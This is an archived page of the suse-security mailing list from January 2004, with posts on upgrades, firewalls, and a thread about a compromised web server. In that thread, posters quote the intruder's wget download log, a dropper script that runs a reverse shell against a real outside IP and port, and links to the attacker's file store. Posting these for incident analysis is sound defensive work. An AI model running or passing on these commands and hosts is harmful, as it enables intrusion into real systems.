0JdGwACeKTttgeVPFB+iGJdiwQlxasOfuXyITAQYEQIADAUCPGqpWQUJCgCCxwAK CRCoTtronIAKyofBAKCSZM2UFyta/fe9WgITK9I5hbxxtQCfX+0ar2CZmSknn3co SPihn1+OBNyZAQ0DNuEtBAAAAQgAoCRcd7SVZEFcumffyEwfLTcXQjhKzOahzxpo omuF+HIyU4AGq+SU8sTZ/1SsjhdzzrSAfv1lETACA+3SmLr5KV40Us1w0UC64cwt A46xowVq1vMlH2Lib+V/qr3b1hE67nMHjysECVx9Ob4gFuKNoR2eqnAaJvjnAT8J /LoUC20EdCHUqn6v+M9t/WZgC+WNR8cq69uDy3YQhDP/nIan6fm2uf2kSV9A7ZxE GrwsWl/WX5Q/sQqMWaU6r4az98X3z90/cN+eJJ3vwtA+rm+nxEvyev+jaLuOQBDf ebh/XA4FZ35xmi+spdiVeJH4F/ubaGlmj7+wDOF3suYAPSXT2QAFEbQlU3VTRSBT ZWN1cml0eSBUZWFtIDxzZWN1cml0eUBzdXNlLmRlPokBFQMFEDbhLUfkWLKHsco8 RQEBVw4H/1vIdiOLX/7hdzYaG9crQVIk3QwaB5eBbjvLEMvuCZHiY2COUg5QdmPQ 8SlWNZ6k4nu1BLcv2g/pymPUWP9fG4tuSnlUJDrWGm3nhyhAC9iudP2u1YQY37Gb B6NPVaZiYMnEb4QYFcqv5c/r2ghSXUTYk7etd6SW6WCOpEqizhx1cqDKNZnsI/1X 11pFcO2N7rc6byDBJ1T+cK+F1Ehan9XBt/shryJmv04nli5CXQMEbiqYYMOu8iaA 8AWRgXPCWqhyGhcVD3LRhUJXjUOdH4ZiHCXaoF3zVPxpeGKEQY8iBrDeDyB3wHmj qY9WCX6cmogGQRgYG6yJqDalLqrDOdmJARUDBRA24S0Ed7LmAD0l09kBAW04B/4p WH3f1vQn3i6/+SmDjGzUu2GWGq6Fsdwo2hVM2ym6CILeow/K9JfhdwGvY8LRxWRL hn09j2IJ9P7H1Yz3qDf10AX6V7YILHtchKT1dcngCkTLmDgC4rs1iAAl3f089sRG BafGPGKv2DQjHfR1LfRtbf0P7c09Tkej1MP8HtQMW9hPkBYeXcwbCjdrVGFOzqx+ AvvJDdT6a+oyRMTFlvmZ83UV5pgoyimgjhWnM1V4bFBYjPrtWMkdXJSUXbR6Q7Pi RZWCzGRzwbaxqpl3rK/YTCphOLwEMB27B4/fcqtBzgoMOiaZA0M5fFoo54KgRIh0 zinsSx2OrWgvSiLEXXYKiEYEEBECAAYFAjseYcMACgkQnkDjEAAKq6ROVACgjhDM /3KM+iFjs5QXsnd4oFPOnbkAnjYGa1J3em+bmV2aiCdYXdOuGn4ZiQCVAwUQN7c7 whaQN/7O/JIVAQEB+QP/cYblSAmPXxSFiaHWB+MiUNw8B6ozBLK0QcMQ2YcL6+Vl D+nSZP20+Ja2nfiKjnibCv5ss83yXoHkYk2Rsa8foz6Y7tHwuPiccvqnIC/c9Cvz dbIsdxpfsi0qWPfvX/jLMpXqqnPjdIZErgxpwujas1n9016PuXA8K3MJwVjCqSKI RgQQEQIABgUCOhpCpAAKCRDHUqoysN/3gCt7AJ9adNQMbmA1iSYcbhtgvx9ByLPI DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iQEVAwUBQAVNsHey5gA9JdPZAQEFCggAlSmpM4NRAQZKjDKtNkHoOEVvvaP+zotV N1zF/IBrJrhe9K1rM8NVETLlZIxpR/ycrLGeziDzsBQG6eCrAso/iCpNr2rcvxqA B9b+AGXOhx7aLJoBAZLbQxkVmSETSp/Lvi9YNCbUcTe1gWfWDOV3reByc67vPG2R l721groDBG7GEUY5kksHwnyKmQZg/bSTHb+A8r4jO5HJFTVseDHxR8l3SyCFwA5u +x5ruhYwRW318gWtIFWiLTi2CAgmXRjAOMWgI/swQkUMIaEJvkdvpvb5Jp4u3qpM JXwzMZ5FK7r2rnkWEGZJsuYJ8xUzEkMIAQD/K+LpMZlzJbn6zsI6MQ== =/+0+ -----END PGP SIGNATURE-----

7 10

remote upgradeability of suse linux pro (7.3, 8, 8.1, 8.2) editions
by Andreas Bittner 15 Jan '04

15 Jan '04

i was looking for some information on the possibility of how to remotly upgrade a suse linux system from some older release to a newer one (having all the dvd/cd media, but no physical access to the target boxes, only ssh/shell). the only access i have would be ssh/scp and tunneling, and maybe enough disk space and inet connection, for maybe transfering files/media-images to the target boxes, or remotely mount. any advice on how to handle this the best way? i didnt find too much info on this topic. how are you guys maintaining your remote servers, or is everybody using the enterprise software versions of suse, that probably come with some sort of remote upgrade means? thanks, andy

5 4

Re: [suse-security] Plaintext passwords IMAP please!
by Peter Hinterseer 14 Jan '04

14 Jan '04

-- snipped a lot of "I tried..." and "...didn't work" -- > Really it's such a simple thing I want to do! > > Can anyone help? This is really not so hard to solve. SuSE's imap-2002 package released with 8.2 and 9.0 has to be explicitly enabled to accept plaintext passwords. Some file in the documentation mentions that. It also warns of the risks. But if all machines using this IMAP server are as you told us behind a firewall, this should be OK. It is easily done by creating a file '/etc/c-client.cf' with the following content: -- I accept the risk set disable-plaintext 0 -- WIthout the '--' of course... ;-) Note the part about the risk, they must be really paranoid about those plaintext passwords. Have fun, Peter.-)

6 5

Tripwire on SuSE 9.0??
by suse＠rio.vg 14 Jan '04

14 Jan '04

When are the tripwire packages for 9.0 going to be fixed? I don't want to sound like a broken record here, but it's been a good three months since 9.0 was released and tripwire is still broken. Tripwire isn't an optional package, but an absolute requirement for a production server. I'm one of the people that bought 9.0 after RedHat went berserk a couple of months ago. Overall, I've been quite satisfied; my desktop and the test server have hummed along wonderfully. But when basic security tools are still unavailable months after release, I'm beginning question my decision. Is this sort of thing typical for SuSE releases? Are you guys going down RedHat's route of telling anyone with a small business server to pay you hundreds of dollars for an "enterprise server" version or take a flying leap? If so, please tell me now so I don't waste any more time and switch to debian. I'm sorry to be so blunt, but this is a serious matter, and after being bitten by Red Hat, I'm already on edge.

5 6

RE: [suse-security] Re: Backdoor over http(s)??
by Retallack, Mark (Siemens) 13 Jan '04

13 Jan '04

> -----Original Message----- > From: Tobias Weisserth [mailto:tobias@weisserth.de] > Sent: Tuesday 13 January 2004 04:04 PM > To: suse-security(a)suse.com > Subject: RE: [suse-security] Re: Backdoor over http(s)?? > > > Hi Mark, > > I'm not sure I can follow everything concerning this issue. Maybe you > could clarify this somehow so that a n00b liek me can follow ;-) I am afraid that I am a nOOb as well, but I will try to answer the questions. > > Am Die, den 13.01.2004 schrieb Retallack, Mark (Siemens) um 16:20: > > It looks like the source was left on the server (along with > other things): > > Is this just another compromised machine or the origin? A > portscan shows > several open ports and the machine seems to be a Solaris 8 with an > estimated uptime of 33 days according to nmap. As far has I can tell there are 2 IP address that we have: 218.234.171.84 - From where the files are downloaded 163.17.51.8 - Where the application connects to when it is run on the compromised machine. If you assume that the rs.c source file is contains the code for the rhs/.do application then 163.17.51.8 will be the address that the application connects to on the internet and opens a shell for the remote hacker to use. >From looking at the code, it is not a worm/virus type of application, it requires a human to infect the destination computer. I think that 218.234.171.84 is just a storage location for the files. If this is correct then both machines are the origin, however the 163.17.51.8 computer is the more important one because it is the one that the hacker would use to communicate to the compromised machine (directly or via a proxy of some sort). > > > httpREMOVE://218.234.171.84/manual/.x/rs.c > > > > Only follow the link if you know what you are doing (and > remove the REMOVE > > text) > > I don't quite understand why displaying rs.c in a browser window could > be harmful or am I missing something here and this URL initiates > something else inside the browser? No real reason. I just like to be paranoid, just in case the file contains JavaScript or something. Just because the file ends in .c, does not mean that it is a 'real' c file. > > > The rest of the files: > > > > httpREMOVE://218.234.171.84/manual/.x/ > > I've given them a look. Has anybody ever heard of a "pokemon squadron > hacking team"?! Not me. I did notice the name in the html file. Google does not give any information ether. > > > > > Some CGI at your webserver did run wget to receive some > file from > > > > 218.234.171.84 and save it on your disc as "/tmp/.do". > > Do you know how this CGI ended up on the machine? By some > Apache exploit > maybe? Not sure, I don't know much about apaches. It does look like an exploit. The best think to do is check for patch updates from SuSE and Apache. And if that fails, the apache message board. > > > > > wwwrun:nogroup are standard user and group used for apache. > > Can such a CGI do any harm by running as this user? Or are CGI scripts > run by Apache given initiated by another user? Any "foot in the door" is a foot in the door. So Although the script should not have access to the important sections of the computer (for example fstab, passwd, etc..), this is why it is important to run services in non-root mode. But the script might allow the hacker to find other security holes. A bit like an onion, lots of layers that can be removed if given enough time. > > kind regards, > Tobias > > > -- > Check the headers for your unsubscription address > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > Siemens Traffic Controls is a division of Siemens plc. Registered No. 727817, England. Registered office: Siemens House, Oldbury, Bracknell, Berkshire, RG12 8FZ. This communication contains information which is confidential and may also be privileged. It is for the exclusive use of the addressee. If you are not the addressee please note that any distribution, reproduction, copying, publication or use of this communication or the information in it is prohibited. If you have received this communication in error, please contact us immediately and also delete the communication from your computer.

7 9

Re: [suse-security] Backdoor over http(s)??
by Mátyás Tibor 13 Jan '04

13 Jan '04

I have got in /cgi-bin/ directory: -neomail (1.26) -openwebmail (2.30) -SuSE things -sanecgi but nothing else. And I have Phpnuke 6.9 (?? PHP ??) ----- Ok, somebody could use wget, but what about the .do.sh --> how was it possible, to execute it? Tibor On Tue, 13 Jan 2004 10:33:27 -0500 (EST), Rick Green wrote > Before you get too involved in analysing the content of the file > that was imported to your machine, you may want to close the > facility that allowed the download in the first place! What have > you got in your cgi-bin directory that allows arbitrary use of wget? > > -- > Rick Green > > "They that can give up essential liberty to obtain a little > temporary safety, deserve neither liberty nor safety." > -Benjamin Franklin

3 2

with a little help from: [Full-Disclosure] a little help needed with identifying a rootkit
by Tobias Weisserth 13 Jan '04

13 Jan '04

Hi everybody, I have asked the gentle folks on the Full-Disclosure list about the files from this machine: http://218.234.171.84/manual/.x/ and someone has taken an amazingly quick look at them and posted some information. I attached the original message (don't know if this list truncates attachments though). Apparently an PHP injection has been used to get the files onto the target machine and the hack relied on the do_brk() vulnerability of the Linux kernel. But read for yourself. regards, Tobias W.

1 0

RE: [suse-security] Backdoor over http(s)??
by Hemsley, Trevor 13 Jan '04

13 Jan '04

There seem to be a number of security problems with phpnuke - Nessus 2.0.8a lists 8 or more tests for various problems; http://www.phpnuke.org/ says that the latest version is 7.0 and fixes several security problems including SQL injection bugs. I couldn't see 6.9 listed as a release but the site doesn't appear to have much useful information on it - most things highlight security fixes as a matter of urgency, this one seems to use <FONT SIZE=-1> for the security fixes that are listed! I've downloaded the rs.c from the web site and it does compile but it generates a 6.5KB executable not the 450KB executable that you have. I don't think rs.c is either all of the code or it's a different program or possibly a much much earlier incarnation of it. I would think that your Apache logs might tell you more about who executed what and when just prior to the time when the executable appeared on your system. -----Original Message----- From: Mátyás Tibor [mailto:templar@tempi.scene.hu] Sent: 13 January 2004 16:33 To: Rick Green Cc: suse-security(a)suse.com Subject: Re: [suse-security] Backdoor over http(s)?? I have got in /cgi-bin/ directory: -neomail (1.26) -openwebmail (2.30) -SuSE things -sanecgi but nothing else. And I have Phpnuke 6.9 (?? PHP ??) ----- Ok, somebody could use wget, but what about the .do.sh --> how was it possible, to execute it? Tibor On Tue, 13 Jan 2004 10:33:27 -0500 (EST), Rick Green wrote > Before you get too involved in analysing the content of the file > that was imported to your machine, you may want to close the > facility that allowed the download in the first place! What have > you got in your cgi-bin directory that allows arbitrary use of wget? > > -- > Rick Green > > "They that can give up essential liberty to obtain a little > temporary safety, deserve neither liberty nor safety." > -Benjamin Franklin -- Check the headers for your unsubscription address For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

3 2

Re: [suse-security] Backdoor over http(s)??
by Dr. Christoph Wegener 13 Jan '04

13 Jan '04

Hi, I did a short look at the file "i" (which is also located on "sun") - well, and I found something like: >strings i ... Kernel seems not to be vulnerable double allocation Unable to determine kernel address ... Maybe this is a kernel rootkit? Greetz Christoph Tobias Weisserth wrote: > > Hi MÃ¡tyÃ¡s, > > Did you check PHPNuke? I wouldn't trust this piece of software further > than I can throw my Gateway bigtower case ;-) > > PostNuke and PHPNuke are known to be notoriously weak when it comes to > security. -- .-. Ruhr-Universitaet Bochum /v\ L I N U X Lehrstuhl fuer Biophysik // \\ >Penguin Computing< c/o Dr. Christoph Wegener /( )\ Gebaeude ND 04/Nord ^^-^^ D-44780 Bochum, GERMANY Tel: +49 (234) 32-25754 Fax: +49 (234) 32-14626 mailto:christoph.wegener@bph.rub.de http://www.bph.rub.de "Snowflakes are one of nature's most fragile things, but just look what they can do when they stuck together." (Vesta Kelly)

1 0

RE: [suse-security] Re: Backdoor over http(s)??
by Retallack, Mark (Siemens) 13 Jan '04

13 Jan '04

It looks like the source was left on the server (along with other things): httpREMOVE://218.234.171.84/manual/.x/rs.c Only follow the link if you know what you are doing (and remove the REMOVE text) The rest of the files: httpREMOVE://218.234.171.84/manual/.x/ > -----Original Message----- > From: jaska [mailto:jaska@ritari.fi] > Sent: Tuesday 13 January 2004 03:16 PM > To: suse-security(a)suse.com > Subject: Re: [suse-security] Re: Backdoor over http(s)?? > > > Hi > > I found that server too, and some other "a-bit-worrying" stuff... > > For some reason my e-mail never reached this list.. wonder > what happens this > time. > > Jask.a > > > > Some CGI at your webserver did run wget to receive some file from > > 218.234.171.84 and save it on your disc as "/tmp/.do". > > wwwrun:nogroup are standard user and group used for apache. > > > > The file is still avaiable from http://218.234.171.84/manual/.x/rhs > > I don't want to execute it, but strings does list some information: > > > > usage: %s <IP or hostname> <port> > > > > (/tmp/.do 163.17.51.8 9090) > > > > > -- > Check the headers for your unsubscription address > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > Siemens Traffic Controls is a division of Siemens plc. Registered No. 727817, England. Registered office: Siemens House, Oldbury, Bracknell, Berkshire, RG12 8FZ. This communication contains information which is confidential and may also be privileged. It is for the exclusive use of the addressee. If you are not the addressee please note that any distribution, reproduction, copying, publication or use of this communication or the information in it is prohibited. If you have received this communication in error, please contact us immediately and also delete the communication from your computer.

4 3

Backdoor over http(s)??
by Mátyás Tibor 13 Jan '04

13 Jan '04

Hi all, I have found something under /tmp: .do .do.sh --> ---- chmod 755 /tmp/.do /tmp/.do 163.17.51.8 9090 ----- ls -l shows: wwwrun nogroup ---- I have found in /var/log/httpd/error.log --09:06:43-- http://218.234.171.84/manual/.x/rhs => `/tmp/.do' Resolving 218.234.171.84... done. Connecting to 218.234.171.84:80... connected. HTTP request sent, awaiting response... 200 OK Length: 435,444 [text/plain] 0K .......... .......... .......... .......... .......... 11% 44.21 KB/s 50K .......... .......... .......... .......... .......... 23% 131.93 KB/s 100K .......... .......... .......... .......... .......... 35% 123.76 KB/s 150K .......... .......... .......... .......... .......... 47% 153.37 KB/s 200K .......... .......... .......... .......... .......... 58% 137.36 KB/s 250K .......... .......... .......... .......... .......... 70% 150.15 KB/s 300K .......... .......... .......... .......... .......... 82% 373.13 KB/s 350K .......... .......... .......... .......... .......... 94% 144.09 KB/s 400K .......... .......... ..... 100% 90.46 KB/s 09:06:47 (115.02 KB/s) - `/tmp/.do' saved [435444/435444] connect error ----- What's that? chkroot shows nothing, tripwire -"- ??? Gruss Tibor

3 2

RE: Re: [suse-security] SuSEfirewall2 behaves strangely
by Barry Gill 13 Jan '04

13 Jan '04

> > Does anybody know how I can tell the SuSEfirewall2... > > ... to stealth *all* ports to the internet, including port 113. Try FW_REJECT= yes rejecting packest rather than dropping packets tells the querying system that that service does not exist. so unless the rules allow for a connection, packets will be rejected. causes a bit of extra bandwidth, but at least it gives no info about your system....

2 2

request for sec. project
by Markus Roth 13 Jan '04

13 Jan '04

dear all I'm in the last semester of my studies in computer science. We have to do a semester work which mostly leads to the diploma work. One possibility is to do the project in the security course. The projects proposed by our teachers are rather boaring and most of their ideas are already solved! I really would like to do something that can be used and not dies after the school project is over. This is the reason why i post to the list! I'm in hope someone of you has a concrete idea for a security project. This may be something you always missed in your everydays life, something your company needs or an extension to a project you, your company or somebody else did. The only conditions are that it has to be open source, should run on linux (and hopefully on all unix-like systems) and not consists (largely) of GUI development. Likely this project will be done by 2 persons which work about 15 weeks each on this project. We have skills in c/c++/perl/shells scripts and have already worked with a lot of security stuff (snort/iptables/vpn/etc). If you know an other "cool" linux project which is not security related it may be also interesting (for example something operating system related or an OpenGL visualisation). please write me such proposals off list! thank you very much markus roth

1 0

Suse 73 kernel update
by Selcuk Ozturk 12 Jan '04

12 Jan '04

For the benefit of desperate 7.3 users who want to upgrade their kernels with the latest fix: I have upgraded 4 7.3 machines with the kernel for Suse 8.0. It's the same major kernel version 2.4.18 as the latest 7.3 kernel and have worked without a problem for about a week now. I see that the sound modules have renamed and reorganized quite a bit between the 2 kernels. So, you might have difficulty with your sound card functionality if you need it. Also some more obscure driver modules have been dropped or renamed. Anyway, you might want to give it a try until you can schedule a whole system upgrade. Testing on a test machine would be really useful, though. Selcuk

1 0

Can't access internet with SuSE FW2
by MichaelHoeller＠t-online.de 12 Jan '04

12 Jan '04

Hi experts, after numerous unsuccessful tries I guess I need help :-) When ever I activate the SuSE Firewall2 i get blocked when I want to access the internet. Jan 9 22:39:47 tamboti kernel: SuSE-FW-ILLEGAL-TARGET IN=ippp1 OUT= MA C= SRC=194.25.2.129 DST=62.227.40.138 LEN=94 TOS=0x00 PREC=0x00 TTL=60 ID=0 DF PROTO=UDP SPT=53 DPT=1029 LEN=74 This sounds fairly simple but I couldn't figgure out what is wrong... I have attched my settings from /etc/sysconfig/SuSEFirewall2. Hope some one can give me a hint I am lost with this one :( Thanks a lot Michael FW_QUICKMODE="no" FW_DEV_EXT="ppp0" FW_DEV_INT="eth0" FW_DEV_DMZ="" FW_ROUTE="yes" FW_MASQUERADE="yes" FW_MASQ_DEV="$FW_DEV_EXT" FW_MASQ_NETS="0/0" FW_PROTECT_FROM_INTERNAL="no" FW_AUTOPROTECT_SERVICES="yes" FW_SERVICES_EXT_TCP="" FW_SERVICES_EXT_UDP="" FW_SERVICES_EXT_IP="" FW_SERVICES_DMZ_TCP="" FW_SERVICES_DMZ_UDP="" FW_SERVICES_DMZ_IP="" FW_SERVICES_INT_TCP="" FW_SERVICES_INT_UDP="" FW_SERVICES_INT_IP="" FW_SERVICES_QUICK_TCP="" FW_SERVICES_QUICK_UDP="" FW_SERVICES_QUICK_IP="" FW_TRUSTED_NETS="" FW_ALLOW_INCOMING_HIGHPORTS_TCP="no" FW_ALLOW_INCOMING_HIGHPORTS_UDP="DNS" FW_SERVICE_AUTODETECT="yes" FW_SERVICE_DNS="no" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="no" FW_SERVICE_SAMBA="no" FW_FORWARD="" FW_FORWARD_MASQ="" FW_REDIRECT="" FW_LOG_DROP_CRIT="no" FW_LOG_DROP_ALL="no" FW_LOG_ACCEPT_CRIT="no" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" FW_KERNEL_SECURITY="yes" FW_STOP_KEEP_ROUTING_STATE="no" FW_ALLOW_PING_FW="yes" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="no" FW_ALLOW_FW_TRACEROUTE="yes" FW_ALLOW_FW_SOURCEQUENCH="yes" FW_ALLOW_FW_BROADCAST="no" FW_IGNORE_FW_BROADCAST="yes" FW_ALLOW_CLASS_ROUTING="no" FW_CUSTOMRULES="" FW_REJECT="no" FW_HTB_TUNE_DEV="" -- Encrypted eMail welcome! Get my OpenPGP-Key ID: 0xE9B00731 from: wwwkeys.de.pgp.net

6 10

Advice Please - Extending a Network
by Philip B Cook 11 Jan '04

11 Jan '04

I have an existing local network connected using 'old' ethernet nics and coax cabling. It is connected via a Linux 8.2 machine to the internet on a Broadband Cable Modem. The Linux machine is a gateway and runs DHCP, DNS, Squid, SuSEFirewall2, Samba to provide services to the network. I want to progressively migrate the local connections to 100 Mb/s Twisted Pair, so during the transition I shall have a third nic in the machine with some hosts on the coax and some on the RJ45/100 Mb/s How do I configure the services to support the additional local network, with minimum disruption to the existing (unmigrated hosts). The Linux machine has a fixed IP address in the local net (192.168.0.101) and allocates IP addresses in the range 192.168.0.102-199. I want all the hosts to continue to 'see' one another during the transition. Can I uses similar addresses on the new subnet (e.g. set the nic as 192.168.0.201 and assign addresses 192.168.0.202-299) or do I need to use a new subnet (e.g 192.168.1.xxx) Many thanks for specific advice or some pointers to where to find the answers. Philip

6 13

[suse-security] SOLVED Can't access internet with SuSE FW2
by MichaelHoeller＠t-online.de 11 Jan '04

11 Jan '04

Hello , thanks to Erwin Aumueller my problem is solved: I activated the SuSEFirewall and lost all access to the Internet, though all settings seemed to be correct. It seems that SuSE does not set the rules for not exsisting interfaces - due to this my dialup connection failed. To fix this there is an option in YaST to restart the FW with every dialin. This sets the rules. And solved my problem. Unfortunately the option is a little bit poor described in YaST. Thanks to all Michael -- Encrypted eMail welcome! Get my OpenPGP-Key ID: 0xE9B00731 from: wwwkeys.de.pgp.net

1 0

Re: [suse-security] trouble with installing latest kernel rpm for suse linux pro 9.0 (maybe fou4s/you related?)
by Andreas Bittner 10 Jan '04

10 Jan '04

> No playing. > Better install a clean 9.0 or a clean 7.3. > Since 8.0 there were several changes in filelocation. > Maybe there are minor changes between 8.x and 9.0. > So the better choice is to install a 9.0 from a clean hdd or format all > partitions for your system. i did these lab tests, cos i have a suse 7.3 production box, that needs to be upgraded to 9.0. so basically my experience was some of a catastrophy, cos the latest kernel patch for 9.0 ended up in rendering this system useless... any it was just a clean 7.3 install and a normal upgrade with 9.0 onto that. so i ask myself why doesnt suse give much more attention to these upgrade scenarios. btw, so what about this missing /boot/message file? where does that come from and how do i get/generate it? cos this system is now messed up and totally usless. and i dont want to kill the production 7.3 system in the same way. any ideas? thanks. andy

1 0

3com VPN Client
by Neal Haas 10 Jan '04

10 Jan '04

I am trying to get the DMZ servers to backup through our 3com firewall. The 3com firewall uses there 3com VPN Client which is only for windows. Other servers previously on the DMZ just used a Route confuration to get through the firewall. I think that useing the VPN would be better than adding a route. What is the best way? Thanks

1 0

kmail and gpg problem on SuSE 9.0
by Joey Kelly 10 Jan '04

10 Jan '04

Hello, I had a crash incident yesterday that I've described in detail at: http://joeykelly.net/kmail-and-gpg-crash.txt. I do not know why my email client crashed, whether from a bug or a carefully crafted exploit (this I doubt, as the sender is a colleage of mine). I do not know if this is a SuSE problem or a KDE problem, so I'm posting this in both forums. Thanks. -- Joey Kelly < Minister of the Gospel | Linux Consultant > http://joeykelly.net

1 0

Re: [suse-security] Crypted filesystem
by nordi 10 Jan '04

10 Jan '04

On Friday, 9. January 2004 15:34, Philippe Vogel wrote: > I use grub and can boot linux with Floppy but not by placing an image on > c:\ and using w2k bootloader. I thought you are using the Compusec bootloader. And actually it should be the Linux bootloader loading Windows, not the other way around. So, how do you _want_ your system to boot? > The image i made shows to /dev/hdb3/boot/grub/stage2 and says something > from over 1024 cylinder error, but grub doesn't have this problem afaik. Actually it shouldn't have this problem. Maybe it is simply that your BIOS's implementation of LBA is flawed so that grub doesn't get along with it. In this case the grub documentation suggests using the --force-lba option. Also make sure you have LBA activated in your BIOS (it should be). I guess you should try this first as it might solve your entire problem. You _might_ have avoided the whole problem by smartly setting up your partitions like this: hdb1 /boot hdb2 swap hdb3 / hdb4 /home This will avoid any 1024 cylinder issue and will also _slightly_ improve performance as frequently used data is physically closer together on your disk. You also wrote that you have two partitions for windows, right? Why do you have both of them encrypted? You could have one unencrypted partition for the OS itself and one for _all_ kinds of user data, just like what you did for Linux. This would be a setup that's much easier to understand&set up. It would also make it much easier to exchange data between Linux and Windows if you had an unencrypted windows partition. Regards Stefan P.S. You should send replies to the list. Don't send them to me, because this way other people will not be able to see your answer.

1 0